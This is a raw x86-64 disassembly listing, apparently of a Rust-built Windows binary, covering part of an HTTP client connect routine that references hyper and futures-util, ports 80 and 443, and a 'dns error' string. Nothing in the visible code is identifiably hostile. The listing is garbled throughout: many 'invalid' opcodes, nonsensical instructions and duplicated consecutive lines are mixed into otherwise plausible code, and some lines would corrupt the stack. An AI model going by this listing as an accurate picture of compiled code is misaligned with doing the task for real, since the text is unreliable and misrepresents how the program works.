add byte [rax], al
invalid
invalid
mov rdx, qword [rdi + 0x180]
mov edx, dword [rdi + 0x180]
mov r9, qword [rdi + 0x188]
jmp 0x1400b55af
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rbp
mov r14, qword [rdi + 0x168]
mov rdx, qword [rdi + 0x188]
add byte [rax - 0x75], cl
scasd eax, dword [rdi]
nop
add dword [rax], eax
add cl, ch
xchg ecx, eax
add eax, dword [rax]
invalid
add byte [rax - 0x75], cl
scasd eax, dword [rdi]
nop
add dword [rax], eax
add cl, ch
xchg ecx, eax
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg eax, edx
add byte [rax], al
add byte [rdi], cl
mov dh, 0
lea rax, [rdi + 0xd0]
movzx eax, byte [rax]
mov cx, 0x50
test al, 1
je 0x1400b5204
invalid
cmp byte [rdi + 0xd1], 0
mov eax, 0x50
mov ecx, 0x1bb
cmove ecx, eax
mov dword [rsp + 0x38], ecx
mov word [rdi + 0x130], cx
xor ecx, ecx
jmp 0x1400b522f
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
ror dword [rcx + rbp - 0x1f], 0x83
cli
pop rbx
inc rcx
sub rcx, r12
cmp edx, 0x5b
jne 0x1400b52c5
add byte [rax], al
cmp rcx, r15
je 0x1400b52c2
mov rax, rcx
add rcx, r12
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x1400b5220
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
add dword [rcx - 0x7d], eax
jrcxz case.0x1400a88a9.60
add dword [rcx - 0x7d], eax
jrcxz case.0x1400a88a9.60
cmp dl, 0xdf
jbe 0x1400b529c
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400b52af
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
invalid
or edx, r9d
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400b52c2
invalid
add rcx, 4
jmp 0x1400b5223
add al, 0xeb
xchg dword [rax - 0x7d], ecx
rol dword [rdx], 0x41
shl eax, 6
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x1400b5223
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
jmp 0x1400b5223
invalid
rol dword [rcx + rcx*4 - 0x36], 0xe9
invalid
dec dword [rcx + rcx*4 - 8]
mov rax, r15
mov qword [rsp + 0x30], rbp
sub r15, rax
sub edi, eax
xor byte [rcx + 0x29], cl
invalid
add r12, rax
mov qword [rsp + 0x80], r13
mov dword [rsp + 0x80], ebp
mov qword [rsp + 0x60], rsi
jmp 0x1400b52f2
dec r15
dec edi
movzx eax, al
sub r15, r12
cmp eax, 0x5d
jne 0x1400b53ad
invalid
add byte [rbp - 0x7b], cl
push qword [rbp + riz*2 + 0x4c]
mov ebp, edi
test r15, r15
je 0x1400b535c
mov rbp, r15
add r15, r12
add edi, esp
movzx eax, byte [r15 - 1]
test al, al
jns 0x1400b52e0
invalid
movzx ecx, byte [r15 - 2]
cmp cl, 0xc0
invalid
jge 0x1400b5333
sar byte [rbp + 0x23], 0x41
movzx edx, byte [rdi - 3]
movzx edx, byte [r15 - 3]
cmp dl, 0xbf
jg 0x1400b533c
movzx r8d, byte [r15 - 4]
add r15, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x1400b5343
add r15, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x1400b534b
invalid
add r15, 0xfffffffffffffffd
std
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx eax, al
mov dh, 0xc0
or eax, ecx
cmp eax, 0x110000
jne 0x1400b52e6
lea r15, [rdi + 0x138]
mov edi, 0x138
xor ebp, ebp
jmp 0x1400b53be
mov r15, qword [rdi + 0xb30]
test r15, r15
jne 0x1400b6771
jmp 0x1400b5389
mov r15, qword [rdi + 0xb38]
test r15, r15
jne 0x1400b65a0
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x1401430c0]
fmul qword [rax]
add byte [rbp + rcx*4 + 5], cl
sub ebp, ebx
or byte [rax], al
mov edx, 0x18
add byte [rax], al
call fcn.140108990
mov r15, qword [rdi + 0xb60]
jmp 0x1400b684c
lea r15, [rdi + 0x138]
cmp rbp, 0xf
ja 0x1400b5484
mov r13, rbx
mov qword [rsp + 0x1f8], r12
mov qword [rsp + 0x200], rbp
lea rcx, [rsp + 0x1f8]
call fcn.140015820
mov rcx, rax
shr rcx, 8
and ecx, 0xffffff00
xor esi, esi
cmp qword [rsp + 0x200], 0
sete r8b
movzx edx, ah
cmove esi, ecx
int1
int1
and al, r8b
mov ebx, 1
cmovne ebx, edx
cmp al, 1
jne 0x1400b5474
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x1400b4fa6.6
or esi, ebx
mov word [rax], 0
mov dword [rax + 2], esi
mov ecx, dword [rsp + 0x38]
mov word [rax + 6], cx
add cl, byte [rbx + 0x6638244c]
mov dword [rax + 6], ecx
mov rcx, rax
add rcx, 0x20
mov qword [rdi + 0x138], rax
mov qword [rdi + 0x140], rax
add byte [rax], al
mov qword [rdi + 0x148], 1
mov qword [rdi + 0x150], rcx
mov rbx, r13
mov r13, qword [rsp + 0x80]
jmp 0x1400b5aad
mov rbx, r13
mov r13, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], rbp
lea rcx, [rsp + 0x1f8]
lea rdx, [rsp + 0x90]
call fcn.140015bc0
cmp qword [rsp + 0x98], 0
jne 0x1400b54c2
test byte [rsp + 0x1f8], 1
jne 0x1400b5a0c
mov qword [r15], 0
mov byte [rdi + 0x133], 1
mov r8, qword [rdi + 0x138]
test r8, r8
jne 0x1400b5ac9
test rbp, rbp
je 0x1400b550a
js 0x1400b6c55
mov ecx, 1
add r14, 8
mov rsi, rcx
mov rdx, r12
mov r8, rbp
call fcn.140106530
mov rdx, rsi
mov qword [rdi + 0x158], rsi
pop rax
add dword [rax], eax
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 0x49], cl
jo 0x1400b5538
add byte [rax], al
lea r15, [rdi + 0x179]
mov byte [rdi + 0x179], 0
mov rsi, qword [rsp + 0x60]
pop rax
add dword [rax], eax
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
invalid
lea rax, [rdi + 0x168]
mov qword [rdi + 0x168], r14
mov qword [rdi + 0x188], rdx
mov qword [rdi + 0x190], rbp
mov qword [rdi + 0x180], rax
mov byte [rdi + 0x178], 0
mov rax, qword [r14]
mov r9, qword [r14 + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add ecx, eax
add ecx, eax
add rcx, 0x10
mov r8, rbp
call qword [r9 + 0x18]
mov r9, rdx
mov rdx, rax
mov qword [rdi + 0x180], rax
mov qword [rdi + 0x188], r9
mov rbp, qword [rsp + 0x30]
lea rcx, [rsp + 0x1f8]
mov qword [rsp + 0x60], rsi
mov r8, rsi
call qword [r9 + 0x18]
mov rsi, qword [rsp + 0x1f8]
cmp rsi, 2
jne 0x1400b55dc
mov byte [r15], 4
mov al, 3
jmp 0x1400b687c
mov qword [rsp + 0x40], rbx
mov r15, qword [rsp + 0x200]
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov r12, qword [rdi + 0x180]
mov rbx, qword [rdi + 0x188]
mov rcx, r12
call qword [rbx]
adc ecx, dword [rax - 0x7d]
jnp 0x1400b5615
invalid
je 0x1400b562e
adc ecx, dword [rax - 0x7d]
jnp 0x1400b5615
add byte [rsi + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
cmp qword [rbx + 0x10], 0x11
jb 0x1400b561c
mov r12, qword [r12 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [rdi + 0x178], 0x100
test rsi, rsi
je 0x1400b56b6
movzx eax, byte [0x140182310]
mov edx, 9
xor ecx, ecx
call fcn.1400df910
test rax, rax
mov r12, qword [rsp + 0x50]
je 0x1400b6c2b
mov r14, rax
movabs rax, 0x6f72726520736e64
mov qword [r14], rax
mov byte [r14 + 8], 0x72
mov r8, qword [rdi + 0x138]
add byte [rax], al
add byte [rax], al
test r8, r8
mov rbx, qword [rsp + 0x40]
je 0x1400b569c
cmp qword [rdi + 0x148], 0
je 0x1400b569c
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
sar bh, cl
adc eax, 0x5dcc4
mov byte [rdi + 0x133], 0
movq xmm6, r14
shufpd xmm6, xmmword [0x140113a90], 2
jmp 0x1400b50e4
mov r12, qword [rsp + 0x50]
mov rax, qword [r12 + 0x18]
lea rcx, [rsp + 0x1f8]
mov rdx, r15
mov qword [rsp + 0x38], rax
call rax
movzx ebx, word [rsp + 0x1f8]
cmp bx, 2
mov qword [rsp + 0x80], r13
jne 0x1400b5738
push rax
push rax
mov rcx, r15
mov ecx, edi
call qword [r12]
mov r14d, 4
cmp qword [r12 + 8], 0
je 0x1400b5ae1
cmp qword [r12 + 0x10], 0x11
mov rsi, qword [rsp + 0x60]
jb 0x1400b5712
mov r15, qword [r15 - 8]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
xor r11d, r11d
xor eax, eax
mov qword [rsp + 0x38], rax
jmp 0x1400b5af5
mov qword [rsp + 0x30], rbp
mov eax, dword [rsp + 0x1fa]
mov dword [rsp + 0x68], eax
movzx eax, word [rsp + 0x216]
mov word [rsp + 0x58], ax
movzx ebp, word [rdi + 0x130]
scasd eax, dword [rdi]
xor byte [rcx], al
add byte [rax], al
scasd eax, dword [rdi]
xor byte [rcx], al
add byte [rax], al
test bx, bx
movzx esi, word [rsp + 0x1fe]
cmove si, bp
cmove bp, word [rsp + 0x214]
movdqu xmm0, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x210]
mov dword [rsp + 0x140], eax
and al, 0x40
add dword [rax], eax
add byte [rcx - 0x75], cl
and al, 0x20
and al, 0x40
add dword [rax], eax
add byte [rcx - 0x75], cl
and al, 0x20
lea rcx, [rsp + 0x1f8]
mov rdx, r15
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [rsp + 0x1f8]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
jne 0x1400b6c55
mov r12, r14
shl r12, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400df910
test rax, rax
je 0x1400b6c73
adc al, 0
invalid
adc al, 0
add byte [rcx - 0x77], cl
invalid
mov r13, rax
mov word [rax], bx
sbb byte [rbx + 0x41682444], cl
mov dword [rbp + 2], eax
sbb byte [rbx + 0x41682444], cl
mov dword [rbp + 2], eax
mov word [r13 + 6], si
movdqa xmm0, xmmword [rsp + 0x130]
movdqu xmmword [r13 + 8], xmm0
mov eax, dword [rsp + 0x140]
mov dword [r13 + 0x18], eax
mov word [r13 + 0x1c], bp
movzx eax, word [rsp + 0x58]
mov word [r13 + 0x1e], ax
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r13
mov dword [rsp + 0x98], ebp
mov dword [rsp + 0x98], ebp
mov qword [rsp + 0xa0], 1
lea rcx, [rsp + 0x1f8]
mov rdx, r15
call qword [rsp + 0x38]
movzx ebx, word [rsp + 0x1f8]
mov r8d, 1
cmp bx, 2
jne 0x1400b58db
mov rcx, r15
mov rsi, r8
mov r14, qword [rsp + 0x50]
call qword [r14]
mov r11, rsi
cmp qword [r14 + 8], 0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x60]
je 0x1400b58c1
cmp qword [r14 + 0x10], 0x11
jb 0x1400b58a7
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0x98]
jmp 0x1400b5af5
mov esi, 0x20
mov qword [rsp + 0x48], r15
jmp 0x1400b5964
mov word [r13 + rsi], bx
mov dword [r13 + rsi + 2], r12d
mov word [r13 + rsi + 6], bp
movdqa xmm0, xmmword [rsp + 0x190]
movdqu xmmword [r13 + rsi + 8], xmm0
mov eax, dword [rsp + 0x1a0]
mov dword [r13 + rsi + 0x18], eax
mov word [r13 + rsi + 0x1c], r14w
mov word [r13 + rsi + 0x1e], r15w
inc r8
mov qword [rsp + 0xa0], r8
lea rcx, [rsp + 0x1f8]
mov r15, qword [rsp + 0x48]
mov rdx, r15
mov rbx, r8
call qword [rsp + 0x38]
mov r8, rbx
movzx ebx, word [rsp + 0x1f8]
add rsi, 0x20
cmp bx, 2
je 0x1400b5875
movzx r14d, word [rdi + 0x130]
test bx, bx
movzx ebp, word [rsp + 0x1fe]
cmove bp, r14w
cmove r14w, word [rsp + 0x214]
mov r12d, dword [rsp + 0x1fa]
movzx r15d, word [rsp + 0x216]
lea rax, [rsp + 0x200]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x190], xmm0
mov eax, dword [rax + 0x10]
adc byte [rcx + 0x1a02484], cl
add byte [rax], al
adc byte [rcx + 0x1a02484], cl
add byte [rax], al
cmp r8, qword [rsp + 0x90]
jne 0x1400b58f0
lea rcx, [rsp + 0x1f8]
mov rdx, qword [rsp + 0x48]
mov r13, r8
call qword [rsp + 0x78]
mov r8, qword [rsp + 0x1f8]
inc r8
mov rax, 0xffffffffffffffff
cmove r8, rax
lea rcx, [rsp + 0x90]
mov rdx, r13
call fcn.14010ec10
mov r8, r13
mov r13, qword [rsp + 0x98]
jmp 0x1400b58f0
mov rsi, rbx
movzx ebx, byte [rsp + 0x1f9]
mov rax, qword [rsp + 0x1fa]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x201]
mov qword [rsp + 0x167], rax
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x1400b4fa6.6
mov word [rax], 1
mov byte [rax + 4], bl
mov rcx, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x167]
mov qword [rax + 5], rcx
mov qword [rax + 0xc], rdx
mov qword [rax + 0x14], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov ecx, dword [rsp + 0x38]
mov word [rax + 0x1c], cx
mov rcx, rax
add rcx, 0x20
mov qword [rdi + 0x138], rax
mov qword [rdi + 0x140], rax
mov qword [rdi + 0x148], 1
mov qword [rdi + 0x150], rcx
mov rbx, rsi
mov rsi, qword [rsp + 0x60]
mov byte [rdi + 0x133], 1
mov r8, qword [rdi + 0x138]
test r8, r8
je 0x1400b54e0
mov r14, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x38], rax
mov r11, qword [r15 + 0x18]
mov rbp, qword [rsp + 0x30]
jmp 0x1400b5b3a
xor r11d, r11d
xor eax, eax
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
shl r11, 5
add r11, r14
lea r15, [rdi + 0x138]
mov r8, qword [rdi + 0x138]
test r8, r8
je 0x1400b5b37
cmp byte [rdi + 0x133], 0
je 0x1400b5b37
cmp qword [rdi + 0x148], 0
je 0x1400b5b37
mov rcx, qword [0x140182260]
xor edx, edx
mov r12, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, r12
mov r8, r14
mov byte [rdi + 0x133], 0
mov rax, qword [rdi + 0x128]
mov rdx, qword [rax]
mov ecx, dword [rdx + 0x48]
cmp ecx, 0x3b9aca00
mov r13, r8
mov qword [rsp + 0x30], rbp
jne 0x1400b5bae
mov ecx, dword [rdx + 0x38]
mov eax, 2
cmp ecx, 0x3b9aca00
je 0x1400b5c3d
mov r10, r11
sub r10, r14
shr r10, 5
test r10d, r10d
je 0x1400b5c3d
mov qword [rsp + 0x58], rdx
mov rax, qword [rdx + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je 0x1400b5ff4
xor edx, edx
div r9
mov r8, rdx
mov r12, rax
jmp 0x1400b5fff
mov rax, qword [rdx + 0x40]
mov qword [rsp + 0x68], rax
movzx eax, byte [rdx + 0x66]
test byte [rdx + 0x61], 1
jne 0x1400b5c4a
test al, al
je 0x1400b5c52
mov rax, r8
cmp r14, r11
je 0x1400b5df7
mov rax, r8
jmp 0x1400b5beb
add r14, 0x20
cmp r14, r11
je 0x1400b5df7
movzx ecx, word [r14]
cmp cx, 2
je 0x1400b5df7
movdqu xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x9e], xmm1
movdqa xmmword [rsp + 0x90], xmm0
test cx, cx
je 0x1400b5bde
mov word [rax], cx
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x9e]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x1400b5bde
mov dword [rsp + 0x48], 0x3b9aca00
jmp 0x1400b6347
test al, al
je 0x1400b5d91
mov dword [rsp + 0x8c], ecx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x40], rbx
cmp r11, r14
mov qword [rsp + 0x58], rdx
je 0x1400b5e2f
movzx esi, word [r14]
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 4
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x140], 0
jmp 0x1400b5d13
mov rcx, rbp
mov r12, r11
call fcn.14003d5f0
mov r8, r13
mov r11, r12
mov rax, qword [rbp + 0x10]
jmp 0x128e7e613
mov rcx, qword [rbp + 8]
mov rdx, rax
shl rdx, 5
mov word [rcx + rdx], bx
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rcx + rdx + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x9e]
movdqu xmmword [rcx + rdx + 0x10], xmm0
inc rax
mov qword [rbp + 0x10], rax
add r14, 0x20
cmp r14, r11
je 0x1400b5e77
movzx ebx, word [r14]
cmp bx, 2
je 0x1400b5e77
test si, si
sete al
movups xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x9e], xmm1
movaps xmmword [rsp + 0x90], xmm0
add byte [rsi - 0x7b], ah
fisttp dword [rdi]
xchg ebp, eax
sal dword [rax], 0xc1
add byte [rsi - 0x7b], ah
fisttp dword [rdi]
xchg ebp, eax
sal dword [rax], 0xc1
je 0x1400b5d6e
mov rax, qword [rsp + 0x110]
lea rbp, [rsp + 0x100]
cmp rax, qword [rsp + 0x100]
je 0x1400b5cbf
jmp 0x1400b5cd4
mov rax, qword [rsp + 0x140]
lea rbp, [rsp + 0x130]
cmp rax, qword [rsp + 0x130]
jne 0x1400b5cd4
jmp 0x1400b5cbf
mov rax, r8
cmp r14, r11
je 0x1400b5df7
mov rax, r8
jmp 0x1400b5da7
add r14, 0x20
cmp r14, r11
je 0x1400b5df7
movzx ecx, word [r14]
cmp cx, 2
je 0x1400b5df7
movdqu xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x9e], xmm1
movdqa xmmword [rsp + 0x90], xmm0
add byte [rax], al
add byte [rax], al
test cx, cx
jne 0x1400b5d9e
mov word [rax], 0
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x9e]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x1400b5d9e
movabs rcx, 0x7ffffffffffffff
mov r14, qword [rsp + 0x38]
and r14, rcx
mov r10d, 4
xor r12d, r12d
mov r11, rax
mov ecx, dword [rdx + 0x38]
mov r9d, 0x3b9aca00
cmp ecx, 0x3b9aca00
jne 0x1400b5f63
jmp 0x1400b60f1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 4
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x140], 0
cmp qword [rsp + 0x38], 0
je 0x1400b5e8e
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x100]
mov r8, qword [rsp + 0x108]
mov eax, dword [rsp + 0x108]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
mov eax, dword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
mov r12, qword [rsp + 0x130]
mov esp, dword [rsp + 0x130]
mov r10, qword [rsp + 0x138]
invalid
invalid
test byte [rax + rax*2], ah
mov eax, dword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
mov r12, qword [rsp + 0x130]
mov esp, dword [rsp + 0x130]
mov esp, dword [rsp + 0x130]
mov r10, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
add dword [rax], eax
add byte [rbp - 0x77], cl
retf
shl r11, 5
add r11, r8
test rax, rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
je 0x1400b5f49
add dword [rax], eax
add byte [rbp - 0x77], cl
retf
mov qword [rsp + 0x78], r12
mov r13, qword [rsp + 0x58]
mov ebp, dword [r13 + 0x38]
cmp ebp, 0x3b9aca00
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], r14
jne 0x1400b5fa5
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x90]
mov rdx, qword [rsp + 0x68]
mov r12, r8
mov r8d, dword [rsp + 0x8c]
mov r14, r11
mov esi, ebx
mov esi, ebx
mov rbp, r10
call fcn.1400f4b50
mov rcx, qword [rsp + 0x50]
mov r10, rbp
mov rdx, r13
invalid
mov r8, r12
invalid
mov r11, r14
mov dword [rsp + 0x48], 0x3b9aca00
mov r12d, 0x3b9aca00
jmp 0x1400b62ae
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rdx + 0x38]
mov r9d, 0x3b9aca00
cmp ecx, 0x3b9aca00
je 0x1400b5e2a
mov r13, r10
mov r10, r11
sub r10, r8
shr r10, 5
test r10d, r10d
je 0x1400b5fec
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r8
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x58], rdx
mov rax, qword [rdx + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je case.0x1400792d3.269
xor edx, edx
div r9
mov r8, rdx
jmp 0x1400b607b
mov qword [rsp + 0x70], r8
mov rax, qword [r13 + 0x30]
mov r12d, 0x3b9aca00
test r9d, r9d
mov dword [rsp + 0x88], ebp
mov qword [rsp + 0x188], rax
je case.0x140031ef2.1785
invalid
add byte [rbp - 0x77], al
enter 0xffffffffffff8948, 0xffffffffffffffc1
mov r8d, r9d
mov rcx, rax
shr rcx, 0x20
je 0x1400b6150
invalid
add byte [rcx], dh
ror byte [rcx - 9], cl
invalid
xor edx, edx
div r8
mov rcx, rdx
mov r13, rax
jmp 0x1400b615a
mov r10, r13
jmp 0x1400b60f1
xor edx, edx
div r9d
mov r8d, edx
mov r12d, eax
mov eax, ecx
xor edx, edx
div r10d
mov r10d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
shr ecx, 0x20
shr ecx, 0x20
and byte [rdi + rax + 0x31], dh
ror byte [rcx - 9], cl
int1
je 0x1400b6025
xor edx, edx
div r9
jmp 0x1400b602a
xor edx, edx
div r9d
mov r8, r13
add r10d, eax
cmp r10d, 0x3b9aca00
mov rdx, qword [rsp + 0x58]
pop rax
mov r13, r12
jb 0x1400b6064
invalid
xor edx, edx
div r9d
mov r8d, edx
mov qword [rsp + 0x40], rax
mov eax, ecx
xor edx, edx
div r10d
mov r12d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
ror dword [rax - 0x3f], 0xe9
invalid
je 0x1400b60a6
ror dword [rax - 0x3f], 0xe9
and byte [rdi + rax + 0x31], dh
ror byte [rcx - 9], cl
int1
xor edx, edx
div r9
jmp 0x1400b60ab
xor edx, edx
div r9d
mov r8, qword [rsp + 0x70]
mov r10, r13
mov r9d, r12d
add r9d, eax
cmp r9d, 0x3b9aca00
mov rdx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov r12, qword [rsp + 0x78]
jb 0x1400b60f1
mov eax, r9d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add qword [rsp + 0x40], rax
jb 0x1400b6c80
invalid
cwde
or eax, dword [rax]
invalid
invalid
imul eax, eax, 0x3b9aca00
sub r9d, eax
mov dword [rsp + 0x48], r9d
mov qword [rsp + 0x38], r14
mov eax, 2
test r12, r12
je 0x1400b6133
mov rcx, qword [0x140182260]
mov r13, rdx
xor edx, edx
mov r12, r8
mov r8, r10
mov r14, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 2
add byte [rax], al
add byte [rax], al
mov rdx, r13
mov r8, r12
mov r11, r14
mov r14, r12
jmp 0x1400b6136
mov r14, r8
mov r13, qword [rsp + 0x40]
jmp 0x1400b6347
mov rbp, r10
mov r14, r11
mov dword [rsp + 0x48], 0x3b9aca00
jmp 0x1400b61cc
xor edx, edx
div r8d
mov ecx, edx
mov r13d, eax
mov eax, ebp
xor edx, edx
div r9d
mov r9d, eax
mov eax, edx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b6180
xor edx, edx
div r8
jmp 0x1400b6185
xor edx, edx
div r8d
add r9d, eax
cmp r9d, 0x3b9aca00
jae 0x1400b619e
mov dword [rsp + 0x48], r9d
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x90]
mov rdx, qword [rsp + 0x68]
nop
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x68
mov r8d, dword [rsp + 0x8c]
call fcn.1400f4b50
mov rcx, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
test ecx, ecx
je 0x1400b621d
mov r9d, ecx
mov ecx, ecx
mov rax, qword [rsp + 0x188]
mov rcx, rax
shr rcx, 0x20
mov r11, r14
mov r10, rbp
je 0x1400b622f
xor edx, edx
div r9
mov r8, rdx
ror byte [rcx - 0x77], 1
invalid
jmp 0x1400b623a
ror byte [rcx - 0x77], 1
invalid
mov r11, r14
mov r8, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
mov r10, rbp
jmp 0x1400b62ae
xor edx, edx
div r9d
mov r8d, edx
mov r14d, eax
mov eax, dword [rsp + 0x88]
xor edx, edx
div dword [rsp + 0x50]
mov ecx, eax
mov eax, edx
imul rdx, r8, 0x3b9aca00
add rax, rdx
mov rdx, rax
shr rdx, 0x20
mov qword [rsp + 0x68], r14
je 0x1400b626a
xor edx, edx
div r9
jmp 0x1400b626f
xor edx, edx
div r9d
mov r8, qword [rsp + 0x70]
add ecx, eax
cmp ecx, 0x3b9aca00
stc
add dl, cl
invalid
cmp ecx, dword [rax - 0x75]
push rsp
and al, 0x58
jb 0x1400b62a6
or dword [rax + 0x69], ecx
rol byte [rbx + 0x4800044b], 0xc1
call 0x1840caabd
and al, 0x68
push 0xa2a820f
add byte [rax], al
push 0xa2a820f
add byte [rax], al
imul eax, eax, 0x3b9aca00
sub ecx, eax
mov r12d, ecx
mov esp, ecx
mov esp, ecx
mov rcx, qword [rsp + 0x50]
shl rcx, 5
add rcx, r10
mov qword [rsp + 0x50], rcx
and al, 0x50
and al, 0x50
mov r9, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
sub dword [rsp + 0x190], eax
sub dword [rsp + 0x190], eax
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x1d0], xmm0
movdqu xmm0, xmmword [rsp + 0xe8]
movdqa xmmword [rsp + 0x1e0], xmm0
add byte [rax - 0x75], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
and al, 0xf0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x38], cl
and al, 0xf0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x38], cl
mov r14, r8
mov r9, qword [rsp + 0x78]
